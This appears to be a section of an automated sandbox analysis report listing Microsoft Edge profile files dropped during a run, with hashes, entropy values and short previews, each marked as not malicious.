SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f92fdee2-d217-41d3-b3be-27097dc9d3a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.227791052585927
Encrypted:	false
SSDEEP:	12:YpIpM+vVaYebvqBZFUt8fpLZ/+fpptMV5OaYebvqBaJ:YpIpdVaYebvyg8fpLOpL2OaYebvL
MD5:	180622B450A024E3604DD45E55F2CE14
SHA1:	32AFDEFBA3014013EB05DAB3CFC6332B6B2BBE42
SHA-256:	2653D0E0A1C0F8BCA40560629785FC2D403FAF6BB7B2E70501E883B0633E0215
SHA-512:	F4DADFBF50E690F33DFE55BEECE821A6AD28A0BD9D91561E2CD8B9553D497FEE9CD57B15079FE9D1B98B1D83A731134C5A830B90C6B0F383343F146E0CA0FC4D
Malicious:	false
Preview:	2024/11/07-11:25:51.277 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/07-11:25:51.279 1d8c Recovering log #3.2024/11/07-11:25:51.283 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.227791052585927
Encrypted:	false
SSDEEP:	12:YpIpM+vVaYebvqBZFUt8fpLZ/+fpptMV5OaYebvqBaJ:YpIpdVaYebvyg8fpLOpL2OaYebvL
MD5:	180622B450A024E3604DD45E55F2CE14
SHA1:	32AFDEFBA3014013EB05DAB3CFC6332B6B2BBE42
SHA-256:	2653D0E0A1C0F8BCA40560629785FC2D403FAF6BB7B2E70501E883B0633E0215
SHA-512:	F4DADFBF50E690F33DFE55BEECE821A6AD28A0BD9D91561E2CD8B9553D497FEE9CD57B15079FE9D1B98B1D83A731134C5A830B90C6B0F383343F146E0CA0FC4D
Malicious:	false
Preview:	2024/11/07-11:25:51.277 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/07-11:25:51.279 1d8c Recovering log #3.2024/11/07-11:25:51.283 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.199003635827085
Encrypted:	false
SSDEEP:	6:H4pFLrxOq2PN723oH+TcwtpIFUt8Y4pFLTZmw+Y4pFLJkwON723oH+Tcwta/WLJ:YpFLrxOvVaYebmFUt8fpFLT/+fpFLJ5f
MD5:	DB19B1836C02F742E31B757508CD83E4
SHA1:	4F33A09B07DA2EA189C42C0E78AFC96BBD8B050E
SHA-256:	EB0ABD091E2B43B71C5E1DAC2617AD97CD507906133E0EF1423786CC96027800
SHA-512:	33F7B3419D3A4632DFE0CF653CC33D72A1B3E4D1F888DEBFDDA06DB7EEB65C5CBBE77A529E88BFCD67381D0D733E96CFD593D1BF01012B291A5B3FBDB4A198F4
Malicious:	false
Preview:	2024/11/07-11:25:31.314 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/07-11:25:31.316 17b4 Recovering log #3.2024/11/07-11:25:31.316 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.199003635827085
Encrypted:	false
SSDEEP:	6:H4pFLrxOq2PN723oH+TcwtpIFUt8Y4pFLTZmw+Y4pFLJkwON723oH+Tcwta/WLJ:YpFLrxOvVaYebmFUt8fpFLT/+fpFLJ5f
MD5:	DB19B1836C02F742E31B757508CD83E4
SHA1:	4F33A09B07DA2EA189C42C0E78AFC96BBD8B050E
SHA-256:	EB0ABD091E2B43B71C5E1DAC2617AD97CD507906133E0EF1423786CC96027800
SHA-512:	33F7B3419D3A4632DFE0CF653CC33D72A1B3E4D1F888DEBFDDA06DB7EEB65C5CBBE77A529E88BFCD67381D0D733E96CFD593D1BF01012B291A5B3FBDB4A198F4
Malicious:	false
Preview:	2024/11/07-11:25:31.314 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/07-11:25:31.316 17b4 Recovering log #3.2024/11/07-11:25:31.316 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2680152139298722
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMpSA1LyKOMq+8iP5GDHP/0jMVumM:Kq+n0Jp91LyKOMq+8iP5GLP/0d
MD5:	AD3FF73C0FD6229A07648483E788D2B0
SHA1:	A342FC9941C07A8AE9FAC22E3F807FEFBB8FE9A9
SHA-256:	E71A5B61BB13B91589B76FA068255E76082806D538B8FF67B14D33F8BC770247
SHA-512:	626437DA63CAA2F09A2E014EDA3421991A6766DA1CA62C20977E2ED1A77F6215E70BC587E90CF68C6F30178D3EA2971172F550E6324710B105F079845D148FBF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666061318218854
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Kf9/:v7doKsKuKZKlZNmu46yjx0KF/
MD5:	AC04336AB7FE55DBE61F85D4B9ABDC7A
SHA1:	988E24FCFB0E0AF8895D0ED994896E62C599BBBE
SHA-256:	AB9C1927518B52D404D20BA84FC6D909BF0335A18CE40388BB75897626AA1BB7
SHA-512:	730B429E9C5185F38E8CAEF7147412FB82DFA7316BCC58D1A6602D4DBE227B81EBD38E314789BE96466E424E1143004F9EA10D277B3FE0EA1D83E480597A176A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e2a47fc2-7475-47eb-b039-cee55c0818e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17496), with no line terminators
Category:	dropped
Size (bytes):	17501
Entropy (8bit):	5.472532418408877
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiuabatSuyprsMcSaFvrEO3kjE/lFOgKjRhfyfmaaF8xbV+F0jQwXo:stWPGQSu4rsdSCDfT0rfyfLbGEQwB3O
MD5:	5BBF9CF0A7E4C37DE4DF66E72A95CDB3
SHA1:	769EF28415D18E2A18323A9CDE361DA7F54671E7
SHA-256:	C40DF7DC572D0E266CC0DFFABC094D69C62283B9B49E0CDA1DEC5C2214708CEC
SHA-512:	97D4AF37CFC85EE775C6B427D41AF7FA5355C3328F20BB89007FE2F47553A58197D77489A4CA1FB4014F0E7775C2A5A5E8418597AD0E85F66739AD6F6F1DAE6D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10612430580031888
Encrypted:	false
SSDEEP:	12:JntVJntV/EpEjVl/PnnnnnnnnnnnnvoQtEoxu:Jntrnt2oPnnnnnnnnnnnnvHj
MD5:	00EFEE25F0195CA9B66050739F00A98A
SHA1:	F29F13F40B7B47DFA9CFB3A52BBA8A4B17654899
SHA-256:	4CF3417B15CB654C770948D73AFDCE4C71ACCBCE90B07C63FDCA5CEF4E84B211
SHA-512:	82986110ECAC3498A0B4D725F207C1347C0374B78E00899E23663654072F769D9BDE4110E89B0BAAD7BE2DF28DA5EC8172A710FDEC537859B1F0221C00FF065D
Malicious:	false
Preview:	..-.............Q........>.N.T.$J...V...R...._..-.............Q........>.N.T.$J...V...R...._........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9340365731103387
Encrypted:	false
SSDEEP:	384:XjRshtaDO3d74dRM+EyQyjrpyXyiSy1xy0m:IrS
MD5:	0F2FE7A76D2E4BA65C5101C7F19BF646
SHA1:	9B103611E5E970FFD9F4F269690A5554F2E15977
SHA-256:	4322288218E3B7BFE91C8FD7E836D6268D5C17B57BAD8D21DBC60321B4049DDE
SHA-512:	30A0AEEF979FC78FDD00A45E2E1F5D3B0AB9EEFD3825DA96A4A288011225300BE35F39FDACFA28A8248DD5D1F4D9616DC1572EB231B31CBFE1B80C2D0A173C31
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.243156162014291
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuua8I:pHayI
MD5:	C50068CBD6CF6BC6A90A898FB88A4918
SHA1:	840DD7370B7E4E223EA7440897D13A2163484B80
SHA-256:	1BBF74C388F91B63D053A141B85D50071C2BDE99835A2D5E2C9EC718EBFB5FA3
SHA-512:	786D896D860E0217B9EDE79D4AF88E5DB89E2C25CA92B49986B32C0EB0371DDF77646A1B972E2E0E0D87D88535C56437FCE68B954AB9EE41CF35DCC150CE79D4
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................).0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.228909969198888
Encrypted:	false
SSDEEP:	6:H4pFL+Iq2PN723oH+TcwtfrK+IFUt8Y4pFL+ZZmw+Y4pFL+zkwON723oH+TcwtfR:YpFL+IvVaYeb23FUt8fpFL+Z/+fpFL+7
MD5:	549581FDC5F50E6C98F9496D5CC640E2
SHA1:	DDD020F78E2B3DC425866324FC2DF326341D77BE
SHA-256:	6E289659FDDF876800330F96DFE0EF584B80AFA319B85D25E43CDA7C9E8FD617
SHA-512:	3558040ADCB20BC9482A18808254FDB6AE81AEEB1DE03EC6FCCF8D23A6740DC7A43EF074961666FC8F9C782008C22891A6A6655E7A3CED722C10ECD5D3D4C024
Malicious:	false
Preview:	2024/11/07-11:25:31.838 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/07-11:25:31.838 17b4 Recovering log #3.2024/11/07-11:25:31.838 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.228909969198888
Encrypted:	false
SSDEEP:	6:H4pFL+Iq2PN723oH+TcwtfrK+IFUt8Y4pFL+ZZmw+Y4pFL+zkwON723oH+TcwtfR:YpFL+IvVaYeb23FUt8fpFL+Z/+fpFL+7
MD5:	549581FDC5F50E6C98F9496D5CC640E2
SHA1:	DDD020F78E2B3DC425866324FC2DF326341D77BE
SHA-256:	6E289659FDDF876800330F96DFE0EF584B80AFA319B85D25E43CDA7C9E8FD617
SHA-512:	3558040ADCB20BC9482A18808254FDB6AE81AEEB1DE03EC6FCCF8D23A6740DC7A43EF074961666FC8F9C782008C22891A6A6655E7A3CED722C10ECD5D3D4C024
Malicious:	false
Preview:	2024/11/07-11:25:31.838 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/07-11:25:31.838 17b4 Recovering log #3.2024/11/07-11:25:31.838 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.203882478673745
Encrypted:	false
SSDEEP:	6:H4pFLNRIq2PN723oH+TcwtfrzAdIFUt8Y4pFLsZmw+Y4pFLMkwON723oH+Tcwtfa:YpFL4vVaYeb9FUt8fpFLs/+fpFLM5Oaa
MD5:	77B1E9E4B0D18D5C6A1AFB644272E3B3
SHA1:	4D079FA5FFBB27B651D3D9B6583474BE199F83B5
SHA-256:	E32E79C5A8FA3B0470CAAA62AE02E752BF7642B113E51726E787D17AA00B0B0C
SHA-512:	3A2A0BC26B9B82766C441A2179B483AFF1B870CF6ADB04C7ADC5A31A5DEB52D7666ED4D26992B750ED4FA9AEB872548C4533A3D5B1E8B7B0C775297D9830E577
Malicious:	false
Preview:	2024/11/07-11:25:31.831 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/07-11:25:31.832 17b4 Recovering log #3.2024/11/07-11:25:31.832 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.203882478673745
Encrypted:	false
SSDEEP:	6:H4pFLNRIq2PN723oH+TcwtfrzAdIFUt8Y4pFLsZmw+Y4pFLMkwON723oH+Tcwtfa:YpFL4vVaYeb9FUt8fpFLs/+fpFLM5Oaa
MD5:	77B1E9E4B0D18D5C6A1AFB644272E3B3
SHA1:	4D079FA5FFBB27B651D3D9B6583474BE199F83B5
SHA-256:	E32E79C5A8FA3B0470CAAA62AE02E752BF7642B113E51726E787D17AA00B0B0C
SHA-512:	3A2A0BC26B9B82766C441A2179B483AFF1B870CF6ADB04C7ADC5A31A5DEB52D7666ED4D26992B750ED4FA9AEB872548C4533A3D5B1E8B7B0C775297D9830E577
Malicious:	false
Preview:	2024/11/07-11:25:31.831 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/07-11:25:31.832 17b4 Recovering log #3.2024/11/07-11:25:31.832 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
